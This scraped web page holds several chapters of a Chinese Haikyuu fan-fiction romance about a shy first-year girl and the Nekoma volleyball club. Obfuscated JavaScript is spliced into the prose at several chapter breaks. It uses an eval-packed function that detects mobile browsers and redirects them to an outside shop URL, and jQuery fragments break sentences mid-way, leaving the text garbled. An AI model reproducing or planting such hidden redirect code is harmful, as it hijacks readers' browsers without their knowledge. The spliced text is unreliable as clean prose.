l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309354|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚跟夜久前辈吵些什么的黑发前辈两边看了看，率先出来打圆场，对我道：“别介意，他们一直是这样的，没有恶意。” “我是三年级的黑尾铁朗，你好，小岛游同学。”礼尚往来，他也跟我介绍了一下自己的名字。 “黑尾前辈好。”我应道。 刚想继续说什么，身后的服务员便似乎是看到了什么，提高了声音，朝我们这群人喊道：“405号在吗？” 闻言，我下意识低头看了眼自己手中写着“405”的纸条，随即回头应道：“在这。” 服务员看过来，目光触及看着明显和我认识的灰羽和明显跟灰羽是一起来的的排球部众人，不禁有些诧异地“诶”了一声。 “你们这么多人不用取单人座的号的，这么多人有现成的包厢。” 她解释完还回头招呼了个服务员过来，吩咐道：“你带他们去2号的空包厢。” “欸、欸？”我不自觉下意识转头看了他们一群人一眼，随即回头，弱弱地说，“等一下，我们……” 旁边的灰羽堪称是眼前一亮，随即动作堪称豪放地伸手揽过我的肩膀，“刚好遇上，我们一起吃吧小岛游！” 他一米九出头，虽然有点驼背，但这会也一点没掺水的比我高了三十来公分，轻轻松松就给我带地一踉跄，“等等……” 虽然知道灰羽本意只是觉得正好碰到遇到的人，让我一个单独去吃饭不太好，再加上他的前辈们都是很好的人觉得我们肯定不会相处不来……但跟陌生人同桌吃饭对我来说多少还是有点太超过了。 就算我相信灰羽看人的眼光我也接受不了……救命救命救命……！ 这么想着，我下意识转头，用带着惊恐的求助目光看向不远处的夜久前辈。 他正皱着眉有些欲言又止地看着我们，似乎是拿不准我们之间的相处模式所以没有贸然提出什么意见……但看起来应该是对灰羽的行为不太满意的样子，我感觉他的额头正在往外蹦井字。 我直直对上了他正注意着这边的视线。 我们对视两秒，他迅速从我带着求助意味的表情中意识到什么，随即原本那副快要忍不下去了的表情微微一变。 下一秒，他上前一步，伸手一把扯住灰羽的后衣领把他直接从我旁边拽回去，随即没好气地道：“行了列夫，你这家伙倒是给我尊重一下朋友的意见！” 他没等灰羽回应，转过头，随即放缓了本来不太客气的表情和语气，对我道：“不用顾及我们，更喜欢一个人的话去单人座就好。” 我微微松了一口气，随即感激道：“谢谢……帮大忙了。” 说着，我一边理了下乱了些的外套，一边转头看向灰羽，有点歉意地说：“抱歉灰羽，我更喜欢一个人坐一点，不太习惯很多人一起吃饭。谢谢你的好意。” 灰羽正缩在脑袋听夜久的话，闻言“啊”了一声，有些尴尬地摸了摸脑袋，“没有没有……也是我没考虑到，对不起啊。” 顿了顿，他想到什么，迅速恢复了精神，兴致勃勃地继续道：“不过这家的豆腐皮寿司真的特别好吃！一定尝哦！” 豆腐皮寿司是灰羽最喜欢的食物，怪不得他强推这家店。 我不自觉笑了下，随即朝他点了点头，“我会的，谢谢。” 随即，我跟前台解释了一下，便跟着后被喊来带路的服务员准备去自己的位置，走前还回头同他们告别。 刚刚我和灰羽的小插曲没什么人注意到，他们正吵吵嚷嚷地不知道在说着什么，这会儿才终于在前辈们的镇压下安静了，闻言也都朝我挥挥手。 真热闹啊。 我不自觉感慨。 5. 五个小岛 灰羽推荐的店是还不错，豆腐皮寿司也很好吃……但我还是更喜欢里面的香草冰淇淋一点。 虽然感冒没好全的时候吃冰淇淋不太好，但套餐自带的冰淇淋不能浪费……就算那是我自己选的套餐。 随意将它抛到脑后，我起身去结账。 走前回头看了眼。 排球部人多，现在大抵还没有吃完，恰巧碰上属于是天方夜谭，我于是自知无望地收回视线，转而掀开门帘，弯腰走出去。 天已经彻底黑了，抬头看去，东京的夜空是一片纯粹的黑，完全看不到星星的存在，只有些飘在半空的、依稀可见的没彻底散去的云。 凌晨的时候雨还下得很大，结果到了晚上就几乎没有什么下过雨的痕迹了啊。 深吸口气，感受到空气中所弥漫的那股雨后特有的草木气息和湿气，我想了想，否决了自己的想法。 毕竟……下过雨的痕迹什么的，也不能说完全没有吧。 垂眼看了看被残留的雨水染得湿润的水泥路面，我这么想着。 家距离饭店有大概二十分钟多的路程，因为吃饱了，所以我走得比平常慢些，走了二十五分钟出头的时候才到家附近。 快到家了……啊，不过在此之前，隔壁的门开了。 身形颀长的、留着半长发的黑发男人正拿着什么东西推门出来，他抬头时正好与我对视，不禁有些惊讶地挑了挑眉。 顿了顿，他笑起来，朝我打了个招呼，“是小绘啊，出去玩回来了？” ……啊，是熟人。 “研二哥。”我条件反射地应了声，随即往他身后看了看，不自觉有点疑惑，“阵平哥呢？” 隔壁家的表礼写的是“松田”才对，怎么从里面冒出来的会是研二哥啊。 我兀自疑惑了一会儿，但还是先回答了他的问题，“不算出去玩吧，刚吃完饭回来。” “这样啊。”他若有所思般应了一声，随即有些遗憾地继续道，“小阵平把我指使回来帮他拿东西了，但是自己没回来呢，你今天大概见不到他了。” 啊……我倒也不是这个意思。 ……不过算了。 就这两句话的功夫，我已经走到了我家门口。 低头从包里翻出钥匙，我一边将其插进锁孔，一边转头朝萩原挥了挥手，“是要去联谊吗？玩得开心。” “不是联谊哦，但是谢了——”他同样朝我挥了挥手，尾音拖长，隐约透着些笑意。 我“啪”地关上房门。 研二哥、也就是刚刚的萩原研二，他的幼驯染松田阵平是我的邻居，两个人同龄，都比我大六岁，目前警校在读。 嗯……大概是没有血缘关系的兄妹关系，他们从小到大都很照顾我。 不过，说起这个……警校不是封闭式训练吗？今天也不是周末啊。 短暂疑惑了两秒，我便将这事抛到脑后。 总归不管是因为什么，研二哥他们心里都肯定有数啦，到时候按时参加他们的毕业典礼就好了。 之前就说好了，说是作为陪我考察音驹的交换——不过就单论这个事情的话，明明是他们强拉着我去的吧？ 真是的。 不自觉象征性地鼓了鼓脸，我在玄关弯腰换了鞋，随即将钥匙放到玄关往里一些的餐桌上。 嗯……今天没去学校就当没有作业了，待会到点直接上床睡觉好了。 这么想着，我抬头看了看一片漆黑的客厅，想了想，觉得没什么开灯的必要，便索性直接摸黑上楼。 # 最后纠结了一会儿，鉴于明天要去学校、还要去还做了不少准备的外套，我还是在昨天已经洗过头了的情况下又洗了头，第二天再习以为常地把蓬松炸起的头发用直板夹压回去。 总之，把自己收拾妥当之后，我背上书包，再拎上装着外套的纸袋和作为谢礼的和果子，确定没有漏掉没带的东西后便踏出房门。 安稳坐到后排靠窗的座位上，我把两个袋子都贴着墙边放好，以免同班同学打闹时不小心踢到，然后造成不必要的损失。 随即，我又默默往里缩了缩，以避免跟周围的人产生什么不必要的交流……毕竟现在教室里面已经来了不少人，总有些很自来熟的人会来找我搭话什么的……比如灰羽。 ……我周围比较自来熟的人已经够多了，不要再来了。 稍有点怨念地这么想着，我安静两秒，摸出手机，点开了和夜久前辈的聊天框。 【游：夜久前辈，你什么时候有时间啊】 【游：我去把外套还给你】 虽然不是很想去他的班级找他（肯定会被围观的……），但让他来我这拿借给我的东西不管怎么说都有些太失礼了。 问一下什么时候有时间然后速战速决送过去吧……总归不管怎么样都是要还的。 排球部这个时间点还在早训，我稍微等了会儿，确定他目前不会看手机，便关了手机，转而开始补昨天因为请假而没写的作业。 上课铃响时刚好写完这节课的作业，我将其他科目的作业本收起来，正式开始上课前因着有未被回复的消息，所以先下意识地看了眼手机。 而后发现了聊天框中格外显眼的红点。 刚刚黑屏时我没切出页面，于是迎面而来的便是弹出了几条新消息的联系人页面。 我不自觉僵了两秒，紧张地做了一下心理建设，才垂眼望向屏幕上新弹出来的那几条消息。 【Yaku：我来定时间吗？】 【Yaku：嗯……那就早上第二节课下课？】 【Yaku：不介意的话去天台吧，那儿除了中午之外平时没什么人经过】 ……真的假的？还有这种好事吗？ 不自觉微微睁大了眼睛，我盯着屏幕看了两秒，半晌，有点恍惚地戳了个[ok]的表情包过去。 怎么说……虽然有意识到夜久前辈已经发现了我社恐内向的本质，但当真被这么关照……还是让人有点受宠若惊。 不知道是不是因为周围有这种类型的人……但不管怎么样，是好人啊。 不自觉用指腹摩挲了一下手机的外沿，我安静片刻，在老师进门时慢半拍地将手机收了起来。 第二节课……第二节课是英语。 # 我对去天台的路很熟，那儿周围比较空旷，视野很好，我之前放学的时候偶尔会上天台拍点日落的照片。 可惜学校开校门的时候太阳早就已经升起来了，拍不到日出，稍微有点遗憾。 这么想着，我顺着记忆踏上天台的最后一节台阶，压下把手，将门推开。 入目是一片浅淡的金色。 上午的阳光均匀地撒在没有遮挡地方的天台上，如今正处春天，站在太阳底下时所感觉到的气温正好，些微的暖意顺势沁入四肢百骸。 站在阳光下的浅发男生印入眼帘，经昨天一遭已经有些眼熟的前辈正半靠着墙站着，低头盯着手机不知道在看些什么。 我视线无意划过他的侧脸，随即微微顿住。 啊，昨天光顾着看眼睛，后面也没太敢抬眼，现在才发现，这位人很好的前辈……长得其实还蛮好的。 大概是因为打排球不用晒太阳的原因，他皮肤很白，眉眼舒朗干净，眼睛也生得好，轮廓圆润、眼角上扬，五官又带着点模糊年龄的幼感，乍一看倒不像是大我两级的前辈，总觉得说是同龄人也该是有人信的。 他听到动静闻声看过来，见到是我时露出点意料之内的了然，他随即朝我笑了下，朝我自然地打了个招呼，“小岛游同学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309355|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……结果一出声看起来就完全不至于被认错前辈身份了啊，光是看着都莫名油然而生出一种“这个人非常可靠值得信任”的感觉。 是因为……我昨天刚刚被他帮助过，所以不自觉带上了滤镜吗？ 顿了两秒，我慢半拍地应声：“……夜久前辈。” 注意到他投来的目光，我不自觉下意识微微偏头将视线投向他身后的墙壁，随即有点拘谨地低声道：“……这是你的外套。” “……”夜久被意料之外的、我有些过于拘谨的小心态度惊了一下，一时失语，半晌，才吐出个有些不确定的音节来，“呃，谢谢？” “倒也不用这么紧张……按世俗定义来讲，我应该也称不上是那种会仗着前辈身份欺压后辈的类型吧？”他有意缓解有些过于凝滞的气氛，先尝试性地扯了个玩笑，见没什么效果，便转而果断地转移话题。 “话说……这是什么？”外套应该不需要用两个袋子装吧？ 他将视线投向早早注意到但没找到机会说的、我手中的那两个纸袋，干脆趁这个机会这么问。 我怔了下，随即下意识垂眸看了眼手里的纸袋。 是、是有什么问题吗？ ……救命，我明明知道自己在这方面完全不算擅长的，怎么就直接理所当然决定了……早、早知道先问一下研二哥再决定好了。 空气一时陷入寂静，在气氛凝滞到对方感到尴尬之前，我嗫嚅着低声开口。 “……是谢礼。”我不自觉揪了揪提绳，声音更弱了些，“不是什么贵重的东西……还请收下。” 夜久极明显地察觉到我的紧张，他有点不知所措，一时不知道要说些什么才能安抚到一面之缘的后辈的情绪。 他纠结两秒，一抬眼却忽地发现我越发焦躁起来，便赶忙伸手，先将我口中“不是什么贵重的东西”的谢礼接过去，才有点纠结地道：“只是小事而已……不用这么破费的。” 声音响在耳侧……但我完全没听进去。 交接时措不及防触到他的指尖，一转即逝，但明显比我高上不少的体温却莫名极鲜明地残留在皮肤上，我几乎是条件反射地将手指折回掌心，无意识摩挲着指腹，一时有些发懵。 莫名有点别扭……之前有过这样的感觉吗？ 我下意识回想了一下，却一时回想不出我到底和别人有过什么肢体接触……毕竟我没什么朋友，也不喜欢和人有什么交流，连作业都是早上提前来学校然后放到课代表桌上的。 而且…… “是和果子的话……你喜欢吃甜食吗？” 思绪骤然被有些犹豫地响起的男声打断，我猛然回神，下意识抬眸，这才意识到自己似乎是无意识将对面的前辈无视了个彻底。 ……！！！ 我忙打起精神，忆起他刚刚的问题，下意识诚实地答道：“呃……还、还好？” 我对于甜食的接受阈值还蛮低的来着……大概是两三颗糖之后就会嫌齁的程度。 但、问这个是做什么……？ 我有点迷茫地这么想。 夜久倒不在意我语气犹豫的回答，他听过我的语气，确认我并不讨厌甜食之后，就情不自禁地微微松了口气。 幸好平时为了打发……为了哄家里的两个弟弟会随身带点糖。 摸出口袋里没来得及拿走的糖，他将一颗被浅金色包裹着的巧克力糖向我递来。 “给，是牛奶巧克力味的。” 他语气隐隐约约带上了点安抚的味道，“味道还算不错……吃了就开心些吧？” ……啊。 我望见他摊开在我面前的掌心，大脑运转两秒，解读出他话中意思，半晌，不自觉有些怔然地微微睁大了眼睛。 我这是……又被特意关照了啊。 6. 六个小岛 离我把外套还给夜久前辈已经过去有一段时间了。 ……可能是因为下意识地有些注意这样的信息，我莫名感觉，我身边有关于排球的东西的浓度，似乎从某刻开始忽地变高了不少。 “最近训练好多——夜久前辈一直叫我练一传，我可是王牌！我想扣球得分！” 听着从身后传来的灰羽隐隐哀怨的声音，我垂眼看着面前写了一半的习题，不自觉有点心不在焉地捏了捏笔杆。 夜久……夜久。 可能是第一次遇到像他那样的人……所以莫名其妙的、稍微有点在意。 这么想着，我下意识偏头，将视线投向窗外，盯着颜色湛蓝明朗的天空默默看了一会儿。 ——自从上次那场突如其来的大雨之后就一直没下过雨啊，过去一周了天气也依旧很好。 这样阳光明媚的天气……莫名让我有点想起，将外套还给夜久前辈时所见到的、自天空洋洋洒洒落下的阳光。 ……这周末要是还出太阳的话，就去阳台晒晒太阳吧。 我突然这么想。 * 说起来……是灰羽同社团的前辈的话，夜久前辈也打排球来着。 听灰羽话里的意思，夜久前辈好像打得还不错来着……唔，稍微有点好奇。 这么想着，我抬头看了眼挂在教室墙壁上的钟，估摸着剩下的时间够我简单查一下，便直接摸出手机，调出搜索软件。 虽然这种事情问灰羽会肉眼可见地比我自己搜方便很多，但真要说起来的话，我莫名其妙不是很想从他口中了解夜久前辈的事情。 说不上原因……可能是因为灰羽看起来太不靠谱了？ 问他的话会得到乱七八糟一点也不客观的回答吧。 分神一瞬，我一边安静片刻，在键盘上敲下“夜久”两个字。 倒也不是我不想搜全名……只是我不知道夜久前辈的“卫辅”到底是哪两个字来着。 “夜久”还是灰羽当时打过来的……唔。 稍有些低落的情绪涌上心头，我不自觉抿了抿唇，尽力将这个念头忽略过去，转而按下搜索键。 映入眼帘的首先是一片绝对跟我所想知道的东西完全没关系的词条。 倒也不出所料……本来就是抱着如果的话没准会有报道的想法，所以直接在搜索软件上搜的来着。 毕竟都还是高中生，搜不到其实也在预料之内，我倒是有做心理准备……但多少还是有点失望。 这么想着，我不自觉滑了滑屏幕，本来其实已经不抱希望、只是有些不死心地想要再尝试着再看看，却当真让我看到了个熟悉的词。 ——“音驹”。 还没看清帖子全称，我便已经条件反射地点进帖子。 【“善守的音驹”——自由球员夜久卫辅】 是一个科普贴……？应该可以这么说，大体是对夜久的夸赞。 通篇的专业词汇我没看懂几个，便草草略过，总体看下来，唯一被我接收到的信息只有“卫辅”的写法和夜久前辈似乎比我想象的还要厉害。 “音驹”的守护神什么的……听起来好帅。 盯着那一行字眼看了半晌，我由衷地这么想着。 手指下滑，忽地有一抹饱和度很高的色彩映入眼帘。 是这个帖子里的配图。 记忆中夜久前辈的样子依旧鲜明而清晰，跟屏幕上那张脸相差不大，稍微长开了点，但依旧一眼能认出是谁。 ……排球啊。 想到国小时体育课上短暂的有关于排球的记忆，我不自觉有点感慨。 莫名有种离我很近的东西突然完全变样了感觉……感觉上还挺微妙的。 这么想着，我垂眼，盯着屏幕看了半晌。 眼前依旧是那篇帖子，但耳边却忽地响起灰羽兴致勃勃说的关于排球的事情。 ……稍微有点好奇。 上课铃响起，我下意识收起手机，直腰坐正，但思绪仅仅只是回到现实了短短一瞬，便迅速被拉回了之前的地方。 ……好像不止一点？ 顺着老师的指示把书翻开，我低头垂眼，看着书上密密麻麻的小字和零星几张图，眼前那篇帖子里的配图却挥之不去。 嗯……从专业角度来讲，那张配图的光影、色彩、构图，都称不上好，人物杂乱，画面也不够完整，明显是仓促之下的产物。 但主人公却意外的很吸睛——格外吸睛。 浅发的男生脖子上搭着条浅蓝色的毛巾，单手握着水杯，似有所察地偏头看向镜头，上扬的眼尾带着股刚结束比赛尚未来得及褪去的锐气，沉静、冷冽，像见了猎物便紧咬不放的捕食者。 这样的气势……好帅啊。 # “……灰羽。” 有点心不在焉地上完整节课，我视线不自觉扫过旁边的灰羽，忽地鬼使神差地开口，“你们排球部训练外人可以参观吗？” “参观训练？”灰羽上节课没撑住倒头就睡了，刚刚才被下课铃喊醒，闻言一脸懵地重复了一遍我的话，随即意识到什么似的睁大眼睛，“小游你要来看我训练吗！” 我微微陷入沉默。 ……先不说我到底是不是为了看某个人训练而提出的问题，事实上，我在反应过来我说了什么的那一瞬间就开始后悔了。 排球部在音驹本身也不是什么很热门的社团，部员都少，更别说去参观训练的人，突然冒出来一个这样的存在的话，肯定会被部员先一步围观的吧。 好恐怖……我刚刚到底是抱着什么样的想法问出这个问题的啊。 好像是话没过脑就出口了……？ 我犹疑地这么回想了一下。 灰羽没注意我的神色转变，他正兀自回想了一下社团的规定，“黑尾前辈好像没有提过平时训练能不能来看……不过练习赛有说过可以。” 他想到什么，忽地支楞起来，“对！这周六上午九点就有一场练习赛，猫又教练说这次会让我们一年级上场比赛！” “上次黄金周的合宿我没赶上，这次绝对不会错过了！” 我听他这么说，思绪不自觉地飘远了些。 虽然但是……我以为我会第一时间拒绝的。 但听到他邀请我去看练习赛的时候，我张了张嘴，拒绝的话却莫名堵在喉咙，上不去、更下不来。 我卡壳良久，最后还是将坚定拒绝的话咽了回去，语焉不详地含糊应了一声。 周六上午九点。 时间倒不是问题，我没有熬夜的习惯；但最关键的问题很显然不是这个……不过，练习赛应该会有其他人看的吧，之前有刷到过两所网球部很出名的国中的有关于练习赛的推文，听说去的人超级多，音驹应该不至于人少到那个地步。 而且……他们打比赛应该不太会注意到周围的人吧。 我这么想。 # 时间过得很快，几乎是眨眼间就到了周六。 伸手理了理外套连着帽子的领口，我跨出家门，下意识抬头看了看天。 天气……不算很好，灰色的云阴沉沉压在天空，给我种要下雨了的感觉。 联想到上个雨天的倒霉经历，我默了两秒，重新退回家里，捎了把伞走。 再走出一段路，我忽地想起包里下意识就带上了的相机。 啊……出门的时候习惯性就带上了，明明用不上来着。 不经允许拍照不管怎么说都太不礼貌了……但让我挨个征求所有人的意见不管怎么说都有点太超过了，对方还不一定会同意。 总之不太能接受……还是算了，把相机放在包里不要拿出来吧，已经走出一段路了，不太想重新走回去把相机放回家。 就这样吧。 到学校的时候刚好八点四十，一路走到体育馆也不到八点五十，但体育馆内依旧静悄悄地，侧耳仔细听才能听到一点动静。 我动作微微顿住。 ……什么情况？我记错时间了？今天是周六啊，不是说九点有比赛吗，现在还要不到二十分钟就开始了的话，体育馆里怎么一点声音也没有，他们不需要热身什么的吗？ 我犹豫两秒，四处环视一圈，没看到可以询问的人，便上前两步，自食其力地探头看了看体育馆内部。 倒也不能算完全没人……但也只有正推放排球框的零星几个人，看起来完全不是二十分钟之后要打比赛的氛围。 有点疑惑地看两眼，我收回视线，稍往旁边靠了靠，便低头准备拿手机问一下灰羽到底是这么个事。 但在刚把手机从口袋里拿出来时，一道有些疑惑的低沉嗓音却忽地自身后响起—— “小岛游学妹？你在体育馆门口干什么呢。” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309356|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被突然这响起的、对我来说效果堪称石破天惊的这么一句话吓了一激灵，没来得及管一下没拿稳脱手摔下去的手机，条件反射地回头望去。 背后不知道什么时候站了两个人，其中那个黑发鸡冠头看起来有点眼熟……好像是排球部主将？另一个顶着头没补染发根的金发，正默默跟在主将身后，静悄悄地抬眸打量我。 重新想到我刚刚的行为，我不自觉心虚般地僵住，思路一瞬间乱了，半晌没反应过来该说什么。 ……救命吧。 我有点难绷地这么想到。 # 其实现在的场面对双方都是一个极大的打击。 黑尾顺势抬起想打个招呼的手僵在半空，眼睁睁看着一面之缘的学妹猛地回头，睁大眼睛看着他，睁圆的瞳孔里全是惊恐。 ……他刚刚也没有悄悄地过来专门吓人吧？没有吧？？还是语气无意识地变得很差？怎么给人吓成这样。 ……不会他长得很吓人吧？ 黑尾怀疑人生地这么想。 总之，空气一时间陷入一片尴尬的寂静中。 我被巨大冲击震得一时空白的思绪终于理清了一点，先下意识倒退了一步，我才不自觉有点磕绊地开口，“对…对不起，我不是故意在排球馆门口往里看的……” 身前似乎被我震到的、已经不记得叫什么了的排球部主将闻言语气迷茫地“啊”了一声，迟疑道：“……没关系？” …… 然后呢，我还要说什么吗？还有什么能说的吗？？ 大脑飞速运转，但慌忙之下反倒更加趋近于死机的范畴，在我真的死机之前，面前的黑发前辈率先开口调节气氛，“你是来看练习赛的吗？” 我下意识点头。 黑尾见我稍微没那么紧绷了，便也微微松了口气，继续道：“看练习赛的话十点来就好了，九点是我们部员集合的时间哦。” ……啊？ 我懵了一瞬，下一秒，便迅速意识到这个乌龙是怎么产生的。 早知道就提一嘴练习赛是几点开始的了……灰羽自己的比赛肯定记集合的时间啊，我怎么就没想到呢。 我稍微有点懊恼地抿了抿嘴唇 * 面前这位排球部主将似乎在社交上格外擅长，总是，短短两分钟时间，他就顺利化解了尴尬的气氛，帮我捡了手机，又顺势介绍了一下他旁边那个布丁头的人。 “这是我们排球部的二传，孤爪研磨。” 黑尾前辈语气听起来没什么变化，但就是无端给我一种这人似乎是在炫耀些什么东西的感觉，我不自觉多看了他一眼，随即才转过视线，望向那个后他一步、姿态些微有点懒散的布丁头。 对方的视线跟我没有哪怕一瞬的相交，低声道：“我是孤爪研磨，二年级。” 我没想到对面是长我一级的前辈，临到嘴边的一句“孤爪同学”不上不下地卡了一瞬，被我迅速替换掉了，“孤爪前辈好，我叫小岛游绘，一年级。” “……嗯，你好。”孤爪低低应了声。 黑尾看起非常习惯旁边二传的性格，没给我们丝毫冷场的机会，伸手指了指体育馆，语气自然地提议：“先跟我们进去坐坐吧，天气还没回暖，站外面吹风对身体不好。” 我颇有些受宠若惊：“谢谢前辈……麻烦您了。” “小事。”他颇为自豪地龇牙朝我笑了一下，随即伸手推开体育馆的门，领着孤爪和我进去。 孤爪前辈一进体育馆就语气淡淡地跟黑尾前辈打了声招呼，然后去更衣室换衣服了；黑尾前辈则是领着我到了场边那位头发花白的教练面前，简单跟教练低声说了下情况，便一齐转头看向我。 看起来年纪已经很大了的教练面上带着宽和的笑意，语气也是平和的，“你好，我是排球部的教练猫又，你跟他们一样叫我猫又教练就好。” 我有点局促地跟他打完招呼，转头便被黑尾前辈安置到了场边的折叠椅子上……话说打排球还会需要这种东西吗？ 而且为什么在这么空旷的位置……我想去墙角坐。 一时没反应过来拒绝，但刚坐下没多久就忽地感受到四面八方投来的视线，我不自觉低头，试着用垂下的鬓发挡住他们的视线，多少有点如坐针毡地这么想着。 这个位置……不管怎么说都和原本“不引人注目”的打算差太远了吧？ 7. 七个小岛 ……更坏的事情还在后面。 因为我提前十五分钟到了体育馆，其他人又都是在集合前十分钟内陆陆续续卡点到的，所以我几乎是经受了所有人疑惑的视线。 我低头盯着手机屏幕完全不敢抬头，感受着明里暗里落在我身上的视线只觉头皮发麻。 救命救命救命救命救命…… 我无声地在心里绝望地碎碎念，原本为了伪装还能象征性地在手机上划拉两下的动作已经彻底停了，全身上下都隐约僵硬了起来。 “……那个。” 一道音量并不算大的声音忽地在身侧响起，语气淡淡，听着莫名有种对方没什么精神的感觉。我被突然响起的声音惊了一下，下意识一僵，才小心地偏头望过去。 啊，是刚刚在黑尾前辈后面的那个前辈……没记错的话，应该是叫孤爪研磨。 我懵了一下，慢半拍地意识到他在叫我，忙有些仓皇地直起身，应道：“孤爪前辈……？找我有什么事吗？” 接收到幼驯染的数次眼神暗示并无视、而后意识到不来帮忙的话对方是不会罢休的后，孤爪终于木着脸，不情不愿地把自己挪过来。 他对我的反应没什么表示，只兀自纠结了一下，最终开口时选了一个没那么直白的表达方式，“不介意的话，你去场边的椅子坐一下吧，待会他们热身的时候不小心打到你就不好了。” 他说完顿了顿，又犹豫了一下，“……啊，还有，直接叫我研磨就好了，我不太喜欢社团里的前后辈规矩。” 我有些诧异地微微睁大了眼睛，盯着他看了两秒，随即如蒙大赦地立刻起身，“谢谢研磨前辈。” “没事。” 反正他也是被小黑叫来的。 我不清楚他的心理活动，只迅速找了个角落的椅子坐下，感受到身上实实在在少了不少的视线，终于勉强松了口气，稍稍放松下来了些。 ……至少少了一点吧。 # 放松地还是早了些。 余光瞥见一个有点熟悉的大高个踏入体育馆，我不自觉稍稍抬了抬眼望去，便兀地对上对方的视线。 看见灰羽明显眼前一亮的表情，我顿了顿，忽地有些不好的预感。 果不其然，下一秒，他便毫不避讳地抬起手，朝我颇为欢脱地挥手打起了招呼。 我：……………… 几乎是瞬间沉默地低下头，我抬手，试图用掌心里握着的手机挡住脸。 不是在叫我不是在叫我不是在叫我……救命救命。 我只觉头皮发麻，恨不得现在直接消失在世界上。 ……但就算如此，世界也依旧没有放过我。 灰羽话落没过几息，一道声音便猛地在体育馆中堪称突兀地拔地而起，直直砸在我耳侧。 “——竟然是来找你的？！列夫你这小子凭什么有这么可爱的女孩子来看你比赛！！！” “？？？哈？？？？？” “——列夫你小子不准比前辈先有女朋友！！！” “什么东西？？？？？” ……我没再听剩下的话了。 那边正吵吵闹闹又格外热闹地调侃着，不含恶意，主要的调侃的对象也不是我、那几位在最初两句后也很体贴有分寸地没再于话语中提到我……但我也是真的听不进去剩下的对话了。 倒也不是想要责怪什么……只是突然在毫无准备的情况下被这么大声地提到，不管怎么说都会有点生命无法承受之重的感觉。 救命、救命……果然当初不该突然鬼迷心窍提出来看练习赛的！ 正在心中没什么逻辑又有点绝望而后悔地碎碎念着，下一秒，我却忽地听见道有些熟悉的声音。 压下握着手机的手，透过手、手机，与柔顺垂下的发丝之间的空隙，我下意识侧头，望向声音传来的方向。 “都吵什么呢？” 清朗的嗓音传进耳朵，视野里，浅发的前辈正从体育馆门口踏进一只脚，看见不知为何凑在一起吵吵闹闹的后辈们，不禁皱起眉训斥，“衣服换了吗？热身完了吗？都没有的话在这吵什么吵？” “！！！” 正闹在一起部员们纷纷一僵，随即冷汗直冒地迅速分开站好，然后在前辈危险的注视中迅速跑走散开。 黑尾在不远处围观了一会儿，而后眼疾手快地揪住准备奔去更衣室的灰羽，“列夫！你给我等会儿！给我好好记住拦网手势，待会儿练习赛再‘万岁’试试看！” “！！是！我这次绝对会记住的！”灰羽看着都直接立正了。 黑尾凝视了他一会儿，姑且先放过了他，“你最好记住。” ——看起来对灰羽是否能记住这点完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309357|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈否定态度啊。 忽地冒出这么个想法，我下意识往那里瞥了一眼，停留一瞬又收回，顿了顿，不自觉侧头看了眼正往体育馆内走的夜久前辈。 今天不上学，所以他没穿音驹的校服，而是直接穿了他们排球部的队服，红色外套红色裤子，内搭的短袖上衣则是黑的。 短暂瞧他两眼，我又低头，看了看自己的衣服。 我平日里不常出门，也没什么买衣服的欲望，连带着偶尔出门也穿得很随便，今天只普通地套了身白T恤和深蓝色的宽松长裤，还有一件浅蓝色的牛仔外套。 应该没有很难看……吧。 我犹豫了两秒，伸手捏着外套下摆，凑到眼前看了看。 ……算了，之后再买点衣服好了，一直穿校服也不是个事。 我这么想。 # 如我问灰羽时他所提及的一样，这场比赛他上场了；我稍微眼熟些的夜久、研磨和黑尾倒是一个没上。 我有点犹豫于他们是因为实力不够还是为了给后辈机会所以才没上场，于是回忆了一下灰羽说过的话（他好像没提过这些），无果，便转而低头用手机查了一下。 最后是在去年的正选名单里看到了夜久前辈和黑尾前辈的名字，研磨前辈则是替补。 那应该是为了给后辈机会所以才没上场，音驹排球部人也不多，他们没道理去年是正选今年就被挤下来了。 至于其他的正选都有没有上场……对着搜出来的照片努力辨别了一下，我最终还是沉默地放弃。 ……其他人就先暂且不提吧。 代表比赛开始的哨声兀地响起，尖锐的声音传来，我下意识抬眼望去，视线转移、聚焦，随即我看见一颗颜色鲜艳的排球自音驹那半球场猛地向球网对面砸去。 ——真的是砸去。 非常明显而显著的“砰！”的一声，我在此之前毫无预兆，被吓一激灵，视线不自觉追着排球过去，看见它一路飞着撞上墙壁，又让巨大的惯性反弹回去，直到滚出一段距离才慢腾腾地停下。 我：“……” 我震撼地盯着那颗排球看了一会儿：“…………” 